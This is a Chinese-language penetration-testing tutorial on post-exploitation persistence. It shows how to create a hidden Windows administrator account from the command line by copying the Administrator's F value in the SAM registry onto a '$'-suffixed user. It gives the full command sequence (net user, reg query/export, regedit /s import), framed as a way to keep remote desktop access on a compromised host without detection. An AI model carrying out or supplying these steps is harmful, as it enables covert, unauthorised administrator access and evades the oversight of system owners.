权限维持:Windows命令行下通过修改注册表创建隐藏帐号
场景:
后渗透在命令行下添加隐藏用户。
遇到一种情况:外网开了3389但是远程登录提示内部错误,查了下可能是用户远程桌面登录后断开没有注销导致,这时候就需要添加一个帐号来远程连接,又不想轻易被发现,所以就需要创建隐藏帐号(开机启动和控制面板都不能被发现)。网上查到的都是界面操作,命令行下的方法没找到,因此记录一下。
原理:
SID:安全标识符(Security Identifiers),是标识用户、组和计算机账户的唯一的号码。
在注册表中有两处保存了帐号的SID,一是注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users 下的子键名,另一处是该子键的子项F的值。但是Windows查询时用前者,登录时用的是后者,并且不同步两者。当用Administrator的F值覆盖其他帐号的F值后,帐号登录是管理员权限,但查询只会显示Administrator不会显示该帐号,因此可以创建隐藏帐号。
实验环境:
1 | windows 7 |
命令行下操作方法
1、创建用户:
1 | net user test1$ test@123 /add |
因为加了$,命令行下看不到test1$用户
1 | net user |
但是控制面板还是可以看到用户
2、查询注册表
1 | reg query HKLM\SAM\SAM\Domains\Account\Users\Names\test1$ /ve |
查询结果显示如下
备注:如果是administrator权限,需要先给administrator加权。
1 | # [1 8 17]表示赋予 administrator、everyone、system分别是完全控制、只读、完全控制权限 |
3、导出新建用户的注册项
1 | reg export HKLM\SAM\SAM\Domains\Account\Users\Names\test1$ C:\test1.reg |
可以看到类型为3ea,十六进制补全000003ea
根据类型名称000003ea找到注册表项并导出
1 | reg query HKLM\SAM\SAM\Domains\Account\Users\000003ea |
4、将administrator注册表导出
1 | 默认administrator是000001f4 |
5、修改注册文件
下载3ea.reg到本地,修改3ea.reg的F值为admin的F值,然后在上传到目标机
6、命令行下删除test1$用户
1 | net user test1$ /del |
7、重新导入文件
1 | regedit /s c:\test1.reg |
导入后 可以通过net user test1$
查询到,但是net user
和控制面板都看不到
界面操作可以参考渗透技巧—Windows系统的帐户隐藏。